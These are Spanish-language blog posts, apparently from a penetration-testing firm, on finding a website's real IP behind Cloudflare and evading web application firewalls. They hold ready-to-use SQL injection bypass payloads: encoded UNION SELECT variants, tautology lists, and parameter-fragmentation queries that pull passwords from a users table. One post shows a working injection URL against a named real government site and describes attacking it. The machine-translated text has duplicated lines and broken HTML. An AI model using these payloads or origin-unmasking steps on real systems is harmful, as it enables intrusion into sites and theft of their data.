Thursday, 7 July 2016
¿CÓMO EVITAR FÁCILMENTE CLOUDFLARE Y HACER PRUEBAS DE PENETRACIÓN?
04:22
No comments
Cloudflare
ayuda en seguridad en sistemas informáticos. Cloudflare ejecuta automáticamente
una comprobación de integridad en un navegador para todas las peticiones al
sitio web mediante la evaluación de los encabezados HTTP de las bases de
amenazas. Si se encuentra una base de amenazas, la solicitud se le negará, el
usuario puede establecer la configuración de seguridad deseada para su sitio y
luego a la red CloudFlare detiene las amenazas antes de que llegue sitio web
mencionan expertos de servicios de pruebas de penetración.
Todo lo que podemos entender es que Cloudflare puede convertirse
en un dolor, mientras hace la penetración de la prueba de un sitio web, por
otro lado si Cloudflare establece con éxito el proxy sobre IP del servidor real
del sitio web, se cerrará la superficie de ataque de la pruebas de penetración también.
Así que para pasar por alto Cloudflare podemos utilizar algunos
trucos, que en realidad se producen debido a algunas configuraciones erróneas
por parte del administrador de seguridad en sistemas informáticos.
Antes de empezar hay que saber cómo encontrar si un sitio web
está utilizando CloudFlare. Para que podamos ver los servidores de nombres de
un sitio web y ver si son de CloudFlare o no. Los expertos de servicios de
pruebas de penetración les vamos a enseñar cómo hacerlo.
Por ejemplo vamos a utilizar nuestro objetivo, en primer lugar
vamos a hacer ping y comprobar la dirección IP que está mostrando.
Puede
la dirección IP muestra en el navegador y verás el error de página de
CloudFlare.
De otro
modo, puede consultar los nameservers utilizando DIG.
Tú
puedes ver claramente los Nameservers de Cloudflare por allí. Así que ahora
tenemos que obtener la dirección IP real para esquivar a CloudFlare.
El primer sitio web que podemos usar para obtener la dirección
IP real es CloudFlare-watch,
este sitio mantiene una base de datos de la dirección IP reales de sitios web
que están utilizando CloudFlare. En la parte inferior de la página web
aparecerá una opción para entrar en el dominio del que quieres obtener la
dirección IP real. Introduzca el dominio y haga clic en búsqueda.
Aquí
puedes ver el dirección IP real de la página web, pero en algunos casos la
dirección IP real no está disponible, se puede más con nuestro segundo sitio
web que es http://1337.cl/,
este sitio web le permite utilizar 4 métodos para obtener la dirección IP real
de un sitio web y hackear seguridad en sistemas informáticos:
Aquí se
puede ver la dirección IP real de la página web, pero en algunos casos si no
funciona, entonces podemos pasar a nuestro tercer sitio web que es Netcraft. Según
expertos de servicios de pruebas de penetración este sitio mantiene registros
de historia de alojamiento para otros sitios web. Así que si usted es
afortunado usted puede obtener la dirección IP real de su sitio web de destino
allí. Introduzca su sitio web de destino en el cuadro de texto y pulse Intro. En
el historial de alojamiento se encuentra el más antiguo IP del objetivo que
podría ser su dirección IP actual oculta.
Una vez que encontrar la dirección IP real de ve a tu c: \
windows \ system32 \ drivers \ etc \ editar el archivo “hosts” y haz una
entrada DNS como se muestra a continuación.
Y
guardar el archivo. Ahora, cualquier solicitud al sitio web de destino
directamente será remitida al servidor real y Cloudflare será automáticamente
anulado por cualquier herramienta o el navegador que utilice. De esta manera se
puede felizmente hace una prueba de penetración y ejecutar exploraciones en
contra de tu sitio web objetivo y seguridad en sistemas informático explican
los expertos de servicios de pruebas de penetración.
MÉTODO
2
También se puede hackear Cloudflare y obtener la dirección IP
real del servidor DNS.
En realidad vamos a comprobar todas las entradas DNS y luego los
subdominios. Lo que pasa es que muchas veces se olvida la administración para
transferir todos los subdominios correctamente al servidor CloudFlare y muchas
veces algunas entradas MX u otras entradas pueden ser dejadas. Que hará que se
revele la dirección IP mencionan expertos de servicios de pruebas de
penetración.
Vamos a revisar los registros DNS para el sitio web objetivo y
ver si podemos causar una brecha de seguridad en sistemas informático.
Aquí se
puede observar que una entrada de MS sospechosa “dc-329b0f0f-mail.tv.com.pk”,
ahora intenta hacer ping y se le volverá a obtener la dirección IP real de la
página web. De esta manera puedes consultar todas las entradas DNS y ver si
alguna de ellas todavía se está resolviendo directamente con la dirección IP
real. Foca o Fierce también se pueden utilizar para
enumerar subdominios y luego encontrar la dirección IP real usándolos.
MÉTODO 3
Otro método para pasar por alto a Cloudflare y romper la
seguridad en sistemas informático, es atacando el servidor de correo
electrónico.
Lo que queremos es simplemente un correo electrónico de la
página web, ya que con el correo electrónico también vamos a obtener la
dirección IP real de la página web, según expertos de servicios de pruebas de
penetración. Envíe un correo a nombrefalso@sitioobjecitivo.com tu podrás
obtener un error de la dirección IP real, revisa el correo de error haz clic en
“Mostrar original” y luego busca “Google intentó entregar su mensaje, pero fue
rechazado por el servidor para el destinatario dominio sitioobjecitivo.com por
sitioobjecitivo.com. []. “en el texto. Esta dirección IP será la dirección IP
real de la página web.
Este
artículo es sólo para fines educativos.
Tuesday, 5 July 2016
¿CÓMO HACKEAR FÁCILMENTE FIREWALL DE APLICACIÓN WEB (WAF)? PARTE 2
05:37
No comments
En un
artículo anterior hemos cubierto algunas técnicas de hackeo de firewalls de
aplicación web. En este artículo vamos a cubrir el resto de las
técnicas con ayuda de expertos de pruebas de penetración.
DOBLE CODIFICACIÓN
PARA HACKEAR UN FIREWALL DE APLICACIONES WEB
Como
hemos comentado antes, hay muchas aplicaciones que juegan un papel para pasar
su solicitud desde tu navegador a la base de datos. Este truco se basa en
explotar este comportamiento cuando nuestra solicitud se decodifica dos veces
antes de que llegue a la base de datos. Como sabemos que el servidor web hace
la descodificación básica de URL, ya que pasa los parámetros de solicitud a la
aplicación web. Pero ¿qué si el desarrollador nuevamente hizo la
decodificación? Bueno, sí hay muchas ocasiones en que el desarrollador
decodifica la solicitud antes de usarla. De aquí surge una vulnerabilidad. A
veces podemos utilizar este comportamiento para hackear un firewall acuerdo a
expertos de seguridad perimetral.
HACKEAR LOS FILTROS
QUE DISTINGUEN MAYÚSCULAS Y MINÚSCULAS
Como
comentaron los investigadores de soluciones de
seguridad de la informaciónanteriormente sobre el
conjunto de reglas definidas por el firewall de aplicaciones web, si usted sabe
algunos conceptos básicos de Regex entonces no hay necesidad de decir que la
diferencia entre ellos:
/union.*select/
and
/union.*select/i
and
/union.*select/i
Bueno,
si usted no sabe, entonces deja que te expliquemos. El primero de ellos
distingue mayúsculas de minúsculas y el segundo no, mientras haces que Regex
maneje este error que puede pasar a veces. Esto da origen a este tipo de
ataques según curso de pruebas de penetración.
CONTAMINACIÓN DE
PARÁMETROS/ HTTP PARAMETER POLLUTION HTTP
Puede
ser que muchos de ustedes han oído hablar de él, pero estoy seguro de que pocos
lo hubieran utilizado alguna vez. En primer lugar que es HPP, Definición en
OWASP – El suministro de múltiples parámetros HTTP con el mismo nombre podrían
resultar que una aplicación interprete los valores de manera imprevista.
Consultores de soluciones de seguridad de la información comentan que mediante
la explotación de estos efectos, un atacante puede ser capaz de pasar por alto
la validación de entrada, provocar errores de aplicación o modificar los
valores de variables internas. Como HTTP Parameter Pollution (HPP) afecta a un
componente básico de todas las tecnologías web y existen ataques contra seguridad
perimetral.
Los
ataques HPP consisten en inyectar delimitadores de texto en una consulta
codificada en otros parámetros existentes. Si soluciones de seguridad de la
información no limpian adecuadamente el ingreso del usuario, un usuario
malicioso puede comprometer la lógica de la aplicación para realizar ataques,
ya sea del lado del cliente o del lado del servidor. Una de las consecuencias
de los ataques de HPP es que el atacante potencialmente pueden ignorar los
parámetros HTTP no modificables existentes para modificar el comportamiento de
seguridad perimetral, los controles de validación de entrada de derivación, y
el acceso y posiblemente explotar las variables que pueden estar fuera del
alcance directo.
Los
ataques HPP se puede definir como la posibilidad de anular o añadir parámetros
HTTP GET / POST mediante la inyección de delimitadores texto en una solicitud.
Acuerdo a experto depruebas
de penetración, esto afecta a base de todas las tecnologías web existentes
tanto, los ataques del lado del servidor y del lado del cliente.
Explotando
las vulnerabilidades de HPP es posible:
§ Invalidar parámetros
HTTP fijos existentes.
§ Modificar los comportamientos
de las aplicaciones.
§ Acceso y, potencialmente
explotar, variables incontrolables.
§ Omitir la validación de
la entrada, puestos de control y reglas de la WAF.
Aquí es
una tabla que muestra el comportamiento por defecto de estas aplicaciones con
HPP.

HTTP PARÁMETRO
FRAGMENTACIÓN/ HTTP PARAMETER FRAGMENTATION (HPF)
La idea
de utilizar HTTP Parameter Fragmentation (HPF) cuando se llama a una aplicación
web con el fin de hackear los filtros de seguridad no es una nueva. De acuerdo
con curso de pruebas de penetración, este método le permite a uno para omitir
con éxito filtros utilizados en la mayoría de los firewalls de aplicaciones web
modernas. Así que, ¿cuál es la esencia de esta técnica? Consideremos ejemplos
de la explotación de inyección SQL.
A menudo
es necesario tener dos o más parámetros de usuario en un código SQL, por
ejemplo:
<br
/>Query(“select * from table where a=”.$_REQUEST [‘a’].” and
b>”.$_REQUEST [‘b’]);<br />Query(“select * from table where
a=”.$_REQUEST [‘a’].” and b<“.$_REQUEST [‘b’].” limit
“.$_REQUEST[‘c’]);<br />etc.<br />
En la
fase de verificación de los valores de los parámetros recibidos del usuario en
el nivel de aplicación web, la aplicación es capaz de operar con solo variables
del servidor web y WAF es capaz de operar directamente con los datos de HTTP.
Sin embargo, independientemente del método de acceso a los datos, se trata de
utilizar ciertas expresiones regulares (regexps) para cada parámetro por
separado.
<br
/>preg_match(“/(uni)(on.+sel)(ect)/is”, $_REQUEST [‘a’])br
</>preg_match(“/(uni)(on.+sel)(ect)/is”, $_REQUEST [‘b’])br
</>preg_match(“/(uni)(on.+sel)(ect)/is”, $_REQUEST [‘c’])br />…br
</>preg_match(“/(sel)(ect.+fr)(om)/is”, $_REQUEST [‘a’])br
</>preg_match(“/(sel)(ect.+fr)(om)/is”, $_REQUEST [‘b’])br
</>preg_match(“/(sel)(ect.+fr)(om)/is”, $_REQUEST [‘c’])br />…br />
</>preg_match(“/(uni)(on.+sel)(ect)/is”, $_REQUEST [‘b’])br
</>preg_match(“/(uni)(on.+sel)(ect)/is”, $_REQUEST [‘c’])br />…br
</>preg_match(“/(sel)(ect.+fr)(om)/is”, $_REQUEST [‘a’])br
</>preg_match(“/(sel)(ect.+fr)(om)/is”, $_REQUEST [‘b’])br
</>preg_match(“/(sel)(ect.+fr)(om)/is”, $_REQUEST [‘c’])br />…br />
Por lo
tanto, si uno se divide la lógica del código SQL entre varios parámetros que
entren en el código SQL y luego concatena estas piezas utilizando los
comentarios, será posible hackear los filtros de soluciones de seguridad de la
información:
/?a=1+union/*&b=*/select+1,2
/?a=1+union/*&b=*/select+1,pass/*&c=*/from+users
/?a=1+union/*&b=*/select+1,pass/*&c=*/from+users
<br
/>Query(“select * from table where a=1 union/* and b>*/select
1,2”);<br />Query(“select * from table where a=1 union/* and
b<*/select 1,pass/* limit */from users”);<br />
Dado
que los comentarios se ignoran, el código de hecho es:
select * from table where a=1 union select 1,2
select * from table where a=1 union select 1,pass from users
select * from table where a=1 union select 1,2
select * from table where a=1 union select 1,pass from users
Uno
puede notar que teniendo en cuenta la vía de ataque, HPF es muy similar a la
HPP (HTTP Parameter pollution), pero a diferencia de este último, la aplicación
HPP tiene por objeto la explotación de la vulnerabilidad en seguridad
perimetral, no en el entorno de la aplicación. Según empresa de pruebas de
penetración, por supuesto, ambos métodos de ataque pueden complementar entre
sí.
Friday, 1 July 2016
¿CÓMO HACKEAR FÁCILMENTE FIREWALL DE APLICACIÓN WEB (WAF)?
04:12
No comments
Firewall de aplicaciones web se
implementa típicamente en algún tipo de proxy justo en frente de las
aplicaciones web, por lo que no se ve todo el tráfico en nuestras redes. Al
monitorear el tráfico antes de que llegue a la aplicación web, firewall de aplicaciones
web puede analizar las solicitudes antes de pasarlas. Esto es lo que les da una
ventaja sobre el IPSS. Debido a que IPSS está diseñado para interrogar a todo
el tráfico de la red, no pueden analizar la capa de aplicación tan a fondo como
firewall de aplicaciones web según expertos de pruebas de penetración.
Aquí hay un ejemplo de MOD security WAF
URL
normal
http://bpc.gov.bd/contactus.php?id=4
Detectado por MOD Security
http://bpc.gov.bd/contactus.php?id=4′
UNION SELECT 1,2,3– –
Sin detección:
http://bpc.gov.bd/contactus.php?id=.4’/*!50000UNION*//*!50000SELECT*/1,2,3,4,5,6,7–
–
Ahora,
antes de continuar nos gustaría compartir un hecho muy interesante sobre este
sitio, este sitio es vulnerable desde hace mucho tiempo según diferentes
expertos de seguridad perimetral. La última vez los hackers lo atacaron y se
tomar el control del sitio. Esta vez, cuando comenzamos a atacar hemos
encontrado que algo ha cambiado. El único cambio que hizo, es que ahora están
utilizando dos soluciones de seguridad de la información. Es como si el
administrador no quiere perder el tiempo en cambiar el código de la aplicación
y eliminar la vulnerabilidad. Recuerde que firewall de aplicaciones web es una
buena seguridad
perimetral, pero no se puede simplemente dejar la
aplicación vulnerable sin hacer pruebas de penetración y completamente depender
de firewall de aplicaciones web para la seguridad.
DETECTAR EL FIREWALL DE APLICACIONES
WEB
Según
investigadores de soluciones de
seguridad de la información, hay muchas
herramientas y secuencias de comandos que pueden detectar la presencia de
huellas de WAF sobre una aplicación, que incluya pero no se limite
§ NMAP
§ WAFw00f
§ Verificación de los encabezados de respuestas
§ Verificación de la respuesta
§ etc.
DETECTANDO FIREWALL DE LA APLICACIÓN
WEB USANDO NMAP
nmap -p80 –script http-Web
Application Firewall-detect <host>
FINGERPRINTING WAF USANDO NMAP
nmap -p80 –script
http-WAF-fingerprint <host>
FINGERPRINTING WAF USANDO WAFW00F
WAFw00f.py <url>
Una vez que conoces el firewall
de aplicaciones web con el que estas tratando, puedes buscar formas de hackear
seguridad perimetral.
TÉCNICAS UTILIZADAS PARA HACKEAR
SEGURIDAD PERIMETRAL
Con
ayuda de expertos de pruebas de
penetración, vamos a aprender varias técnicas de
hackear un firewall de aplicaciones web y una vez que hayamos terminado, vamos
a acoplarlos y mezclarlos las técnicas entre sí para cortafuegos avanzados de
aplicaciones web.
DIFERENTES
TIPOS DE CODIFICACIÓN
Hay
muchos tipos de codificación, algunos de ellos son respaldaos por el servidor
de aplicaciones, algunos de ellos cuentan con el apoyo por la aplicación web y
algunos otros son soportados por el servidor de base de datos. Cuando enviamos
una solicitud esta pasa por muchas capas y diferentes tipos de aplicaciones
antes de nuestra solicitud llegas a la base de datos, por lo que muchas veces
somos capaces de utilizar diferentes tipos de codificaciones y doble
codificación que no son compatibles con el servidor de base de datos, pero las
otras aplicaciones en medio, pueden decodificar nuestra solicitud y pasarla al
servidor de base de datos. Según expertos de pruebas de penetración, a veces
tomar ventaja de este tipo de comportamiento nos ayuda a hackear un firewall de
aplicaciones web.
Vamos a
dar un ejemplo básico, hay un buen servidor de seguridad implementado en una
aplicación. La aplicación ha obtenido una solicitud de parámetros que primero
se codifican como Base64 y luego Rot13. Cuando se inyecta dicha solicitud
nuestra solicitud será codificada y pasa firewall de aplicaciones web, la
próxima cuando se llega a la aplicación se decodifica y luego se envía al
servidor de base de datos. Aquí pasamos el firewall de aplicaciones web, ya que
nuestra solicitud fue codificada y decodificada antes de que pasará a la base
de datos.
De esta
manera, hay muchos tipos diferentes de codificaciones que podemos utilizar para
hackear un firewall de aplicaciones web por ejemplo, URL Encoding, Hexing,
Binary, Unicode, etc. En primer lugar vamos a empezar con hackeo de las reglas
de condición de pruebas que muchos firewalls de aplicaciones web están
bloqueados estos días como:
Las verdaderos condiciones de bloqueos
1 or 1=1
1′ or ”=’
1″ or “”=”
1′ or true#
1″ or true#
1 or true#
etc.
Ahora
vamos a mezclar un poco de sentido común y codificaciones para hackear este
tipo de filtros:
or ‘1
|| ‘1
null’ || ‘a’=_binary’a
1′ || ‘a’=x’61
1′ && ‘0’=x’30
1′ %26%26 %270%27%3dx’30
2′ && 0.e1=_binary”0
1 or 1.e1=0b1010
‘ || 1 like 1
‘-‘
“-“
‘ || 2 not like 1
110 or x’30’=48
‘1’!=20
1 or 20!=’1′
2 and 2>0
3 || 0<1
12 || 0b1010<0b1011
0b11 || 0b1010x’30’
1 or 0b1
2121/**/||21
111′ or _binary’1
1 or 2121
1′ or 12 rlike ‘1
Según consultores de soluciones
de seguridad de la información, usando las técnicas anteriores y mezclándolas
hasta que puede generar miles de diferente payloads y técnicas. Aquí hemos
utilizado la codificación Binary, Hex, así como algunas palabras clave para
hackear. En realidad firewall de aplicación web detecta cualquier cosa
maliciosa utilizando el conjunto de reglas definidas. Por lo que necesitamos
generar algo diferente para confundirlos.
Si no
entendieron anteriormente las técnicas aquí hay una explicación básica del uso
de Binary, Hex, Like y Rlike en SQL
Binary
Select 1 from dual where
0b1010=10
Hex Type 1
Select 1 from dual where
‘0’=x’30’
Hex Type 2
Select 1 from dual where
0x30=’0′
Like statement
Select 1 from dual where 1
like 1
Rlike Statement
Select 1 from dual where 12
rlike 1
|| (OR)
Select 1 from dual where
1||1
&& (And)
Select 1 from dual where
1&&1
Como sabemos SQL no soporta la
codificación URL, pero el servidor y aplicaciones web sí soportan. Así también
podemos utilizar la codificación de URL para hackear firewall de aplicaciones
web menciona experto de soluciones de seguridad de la información. Lo primero
es entender cómo funciona. Algunas veces cuando un firewall basado en la red
esta implementado o firewall de aplicaciones esto podría suceder que el
firewall de aplicaciones web no está decodificando nuestra solicitud mientras
que está comprando con el conjunto de reglas. Cuando nuestra solicitud llega al
servidor o la aplicación, entonces se descodifica, y luego se pasa al servidor
de base de datos. De esta manera la codificación de URL también nos ayuda a
hackear firewall de aplicaciones web muchas veces.
Los
siguientes son algunos ejemplos de URL codificada para hackear WAF:
%55nion(%53elect)
union%20distinct%20select
union%20%64istinctRO%57%20select
union%2053elect
%23?%0auion%20?%23?%0aselect
%23?zen?%0Aunion
all%23zen%0A%23Zen%0Aselect
%55nion %53eLEct
u%6eion se%6cect
unio%6e %73elect
unio%6e%20%64istinc%74%20%73elect
uni%6fn distinct%52OW
s%65lect
%75%6e%6f%69%6e %61%6c%6c
%73%65%6c%65%63%74
Usted no está obligado a
utilizar la codificación URL sólo con unión select también se puedes codificar
otras palabras clave u operadores.
Veamos
algunos otros usos de codificaciones, aquí se asume un firewall de aplicaciones
web se ha bloqueado o filtrada uso de ‘0x’ para filtrar uso de hex en tu
inyección y comillas simples o dobles no están permitidos. Incluso a veces los
firewalls de aplicaciones web usan para descodificar Hex de solicitudes y
comprobar si hay contenido malicioso. Podemos tratar las siguientes formas de
superar la situación.
Normal Hex (Blocked)
select 0x313131
Hexed Bypass
Version
select x’313131′;
Binary Bypass
select
0b011110100110010101101110;
Bypass using
functions
select
unhex(x’333133313331′);
Y así
podemos seguir adelante para hackear el firewall de aplicaciones web de muchas
otras maneras. Ahora esto todo es la codificación básica y su papel en hackear
el firewall de aplicaciones web. Según experto sde pruebas de penetración,
algunas veces también puede utilizar la codificación UTF-8 URL para hackear
firewall de aplicaciones web, lo cual también se puede aprender en el curso de
seguridad perimetral.
En
siguiente artículo vamos a cubrir más sobre seguridad de aplicaciones web y como hackear firewall de aplicaciones web con ayuda de expertos de
soluciones de seguridad de la información.





















